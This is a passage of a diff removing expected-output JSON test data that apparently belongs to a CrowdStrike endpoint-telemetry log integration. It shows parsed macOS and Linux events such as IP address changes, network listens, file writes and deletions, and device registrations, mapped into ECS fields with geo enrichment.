-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff190e436aaebc3892bcda5beb",
-                "version": "1007.8.0011611.1"
-            },
-            "related": {
-                "hash": [
-                    "1156120155"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "source": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14",
-                "mac": "0E-D6-FF-FF-FF-63"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:40.056Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3967242894",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "InterfaceIndex": 8,
-                "LocalAddressIP6": [
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ],
-                "NetLuidIndex": 0,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
-                "name": "LocalIpAddressRemovedIP6MacV1"
-            },
-            "device": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab"
-            },
-            "event": {
-                "action": "LocalIpAddressRemovedIP6",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2021-07-07T17:04:40.056Z",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"InterfaceIndex\":\"8\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressRemovedIP6MacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677480056\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "LocalIpAddressRemovedIP6",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3967242894"
-                ],
-                "ip": [
-                    "67.43.156.13",
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:21.723Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "InDiscards": "0",
-                "InErrors": "0",
-                "InMulticastPkts": "0",
-                "InOctets": "0",
-                "InUcastPkts": "0",
-                "InUnknownProtos": "0",
-                "InterfaceAlias": "llw0",
-                "InterfaceIndex": 8,
-                "InterfaceType": "6",
-                "LocalAddressIP6": [
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ],
-                "NetLuidIndex": 0,
-                "OutErrors": "0",
-                "OutMulticastPkts": "0",
-                "OutOctets": "0",
-                "OutUcastPkts": "0",
-                "PhysicalAddressLength": 6,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7",
-                "name": "LocalIpAddressIP6MacV1"
-            },
-            "device": {
-                "id": "ffffffff0ad7494e8e817b3903f4eebb"
-            },
-            "event": {
-                "action": "LocalIpAddressIP6",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2021-07-07T17:05:21.723Z",
-                "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7|ffffffff0ad7494e8e817b3903f4eebb|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"OutOctets\":\"0\",\"CreationTimeStamp\":\"\",\"aip\":\"67.43.156.14\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"llw0\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"8\",\"event_platform\":\"Mac\",\"InterfaceType\":\"6\",\"id\":\"ffffffff-1111-11eb-b88d-06b7cb0d7bd7\",\"PhysicalAddressLength\":\"6\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677521723\",\"event_simpleName\":\"LocalIpAddressIP6\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1620585913\",\"PhysicalAddress\":\"c2-27-b0-27-83-0f\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"0\",\"InMulticastPkts\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"InOctets\":\"0\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressIP6MacV1\",\"aid\":\"ffffffff0ad7494e8e817b3903f4eebb\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff0ad7494e8e817b3903f4eebb",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "LocalIpAddressIP6",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff0ad7494e8e817b3903f4eebb",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "mac": "C2-27-B0-27-83-0F"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:07.086Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "364432308748445743",
-                "ContextTimeStamp": "2021-07-07T17:05:07.037Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "0.0.0.0"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8b36-06a8af5164a9",
-                "name": "NetworkListenIP4MacV10"
-            },
-            "destination": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0",
-                "port": 0
-            },
-            "device": {
-                "id": "ffffffff23d24c4193ffa6f270775ee5"
-            },
-            "event": {
-                "action": "NetworkListenIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:05:07.086Z",
-                "id": "ffffffff-1111-11eb-8b36-06a8af5164a9|ffffffff23d24c4193ffa6f270775ee5|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1625677507.037\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364432308748445743\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"50647\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP4MacV10\",\"id\":\"ffffffff-1111-11eb-8b36-06a8af5164a9\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff23d24c4193ffa6f270775ee5\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677507086\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffff23d24c4193ffa6f270775ee5",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NetworkListenIP4",
-            "network": {
-                "direction": "unknown",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff23d24c4193ffa6f270775ee5",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364432308748445743"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "0.0.0.0"
-                ]
-            },
-            "source": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0",
-                "port": 50647
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:36.784Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "364994904864288322",
-                "ContextTimeStamp": "2021-07-07T17:05:36.729Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8ca0-0231588e8cbb",
-                "name": "ExecutableDeletedMacV1"
-            },
-            "device": {
-                "id": "ffffffffa7bf46da689501ce58bd6987"
-            },
-            "event": {
-                "action": "ExecutableDeleted",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:05:36.784Z",
-                "id": "ffffffff-1111-11eb-8ca0-0231588e8cbb|ffffffffa7bf46da689501ce58bd6987|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"ExecutableDeleted\",\"ContextTimeStamp\":\"1625677536.729\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364994904864288322\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ExecutableDeletedMacV1\",\"id\":\"ffffffff-1111-11eb-8ca0-0231588e8cbb\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffa7bf46da689501ce58bd6987\",\"timestamp\":\"1625677536784\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt\"}",
-                "outcome": "success",
-                "type": [
-                    "deletion"
-                ]
-            },
-            "file": {
-                "directory": "/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources",
-                "name": "ShipIt",
-                "path": "/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffffa7bf46da689501ce58bd6987",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "ExecutableDeleted",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffa7bf46da689501ce58bd6987",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364994904864288322",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:04.614Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "362897421906895953",
-                "ContextTimeStamp": "2021-07-07T17:05:04.542Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9320-06d410e6f705",
-                "name": "GzipFileWrittenMacV1"
-            },
-            "device": {
-                "id": "fffffffffc2c4e4fa9c08e1a8388e5f9"
-            },
-            "event": {
-                "action": "GzipFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:05:04.614Z",
-                "id": "ffffffff-1111-11eb-9320-06d410e6f705|fffffffffc2c4e4fa9c08e1a8388e5f9|ffffffff15754bcfb5f9152ec7ac90ac",
-                "original": "{\"event_simpleName\":\"GzipFileWritten\",\"ContextTimeStamp\":\"1625677504.542\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"362897421906895953\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"04000001000000000000000000000000501f510700000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"GzipFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-9320-06d410e6f705\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffffc2c4e4fa9c08e1a8388e5f9\",\"timestamp\":\"1625677504614\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz\"}"
-            },
-            "file": {
-                "directory": "/private/var/db/powerlog/Library/BatteryLife/Archives",
-                "extension": "gz",
-                "inode": "04000001000000000000000000000000501f510700000000",
-                "name": "powerlog_2021-07-05_CC5F9FC1.PLSQL.gz",
-                "path": "/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz",
-                "type": "file"
-            },
-            "host": {
-                "id": "fffffffffc2c4e4fa9c08e1a8388e5f9",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "GzipFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "fffffffffc2c4e4fa9c08e1a8388e5f9",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "362897421906895953",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:40.056Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3967242894",
-                "ContextTimeStamp": "2021-07-07T01:52:50.595Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "IOServiceClass": "IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject",
-                "IOServiceName": "Touch Bar Backlight",
-                "IOServicePath": "IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
-                "name": "IOServiceRegisterMacV1"
-            },
-            "device": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab"
-            },
-            "event": {
-                "action": "IOServiceRegister",
-                "category": [
-                    "package"
-                ],
-                "created": "2021-07-07T17:04:40.056Z",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"IOServiceRegister\",\"ContextTimeStamp\":\"1625622770.595\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"IOServiceClass\":\"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject\",\"ConfigBuild\":\"1007.4.0013701.1\",\"IOServicePath\":\"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000\",\"event_platform\":\"Mac\",\"IOServiceProperties\":\"\",\"Entitlements\":\"15\",\"name\":\"IOServiceRegisterMacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"IOServiceName\":\"Touch Bar Backlight\",\"timestamp\":\"1625677480056\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "IOServiceRegister",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3967242894"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:38.739Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3967242894",
-                "ContextProcessId": "364938416497226937",
-                "ContextTimeStamp": "2021-07-07T01:50:02.031Z",
-                "DeviceId": "251658248",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
-                "name": "PtyCreatedMacV1"
-            },
-            "device": {
-                "id": "251658248"
-            },
-            "event": {
-                "action": "PtyCreated",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:04:38.739Z",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"PtyCreated\",\"ContextTimeStamp\":\"1625622602.031\",\"ConfigStateHash\":\"3967242894\",\"ContextProcessId\":\"364938416497226937\",\"DeviceId\":\"251658248\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"PtyCreatedMacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677478739\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "host": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "PtyCreated",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364938416497226937",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3967242894"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:35.967Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1803419442",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "InterfaceIndex": 18,
-                "LocalAddressIP4": [
-                    "67.43.156.14"
-                ],
-                "NetLuidIndex": 2,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b7b7-066cc89bcebf",
-                "name": "LocalIpAddressRemovedIP4MacV1"
-            },
-            "device": {
-                "id": "ffffffff5ae3449ab33a1809fe6c5ce2"
-            },
-            "event": {
-                "action": "LocalIpAddressRemovedIP4",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2021-07-07T17:04:35.967Z",
-                "id": "ffffffff-1111-11eb-b7b7-066cc89bcebf|ffffffff5ae3449ab33a1809fe6c5ce2|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressRemovedIP4\",\"ConfigStateHash\":\"1803419442\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"18\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"2\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressRemovedIP4MacV1\",\"id\":\"ffffffff-1111-11eb-b7b7-066cc89bcebf\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff5ae3449ab33a1809fe6c5ce2\",\"timestamp\":\"1625677475967\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff5ae3449ab33a1809fe6c5ce2",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "LocalIpAddressRemovedIP4",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff5ae3449ab33a1809fe6c5ce2",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "1803419442"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "source": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:35.413Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1701000200",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "12241681491990",
-                "ContextTimeStamp": "2021-07-07T17:04:34.875Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP6": [
-                    "0:0:0:0:0:0:0:1"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8130-02cde7751097",
-                "name": "NetworkCloseIP6LinV6"
-            },
-            "destination": {
-                "address": "0:0:0:0:0:0:0:1",
-                "ip": "0:0:0:0:0:0:0:1",
-                "port": 9
-            },
-            "device": {
-                "id": "ffffffff335f47ca89cad6a19f203bbd"
-            },
-            "event": {
-                "action": "NetworkCloseIP6",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:04:35.413Z",
-                "id": "ffffffff-1111-11eb-8130-02cde7751097|ffffffff335f47ca89cad6a19f203bbd|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"NetworkCloseIP6\",\"ContextTimeStamp\":\"1625677474.875\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"12241681491990\",\"RemotePort\":\"9\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"59999\",\"Entitlements\":\"15\",\"name\":\"NetworkCloseIP6LinV6\",\"id\":\"ffffffff-1111-11eb-8130-02cde7751097\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff335f47ca89cad6a19f203bbd\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677475413\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "end",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffff335f47ca89cad6a19f203bbd",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "NetworkCloseIP6",
-            "network": {
-                "community_id": "1:3WneLMsNfPNapoUBcHO8QHx99mg=",
-                "direction": "unknown",
-                "iana_number": "17",
-                "transport": "udp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff335f47ca89cad6a19f203bbd",
-                "version": "1007.8.0011308.1"
-            },
-            "process": {
-                "entity_id": "12241681491990"
-            },
-            "related": {
-                "hash": [
-                    "1701000200"
-                ],
-                "ip": [
-                    "67.43.156.13",
-                    "0:0:0:0:0:0:0:1"
-                ]
-            },
-            "source": {
-                "address": "0:0:0:0:0:0:0:1",
-                "ip": "0:0:0:0:0:0:0:1",
-                "port": 59999
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:50.580Z",
-            "crowdstrike": {
-                "ConfigStateData": [
-                    "0,0,1007.8.0011611.1",
-                    "1,c,0",
-                    "1,22,6",
-                    "1,59,2d",
-                    "2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205"
-                ],
-                "ConfigStateHash": "1156120155",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-af89-06c111484f9f",
-                "name": "ConfigStateUpdateLinV2"
-            },
-            "device": {
-                "id": "ffffffffa74a4c89b9984a3a7124bb9d"
-            },
-            "event": {
-                "action": "ConfigStateUpdate",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2021-07-07T17:04:50.580Z",
-                "id": "ffffffff-1111-11eb-af89-06c111484f9f|ffffffffa74a4c89b9984a3a7124bb9d|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
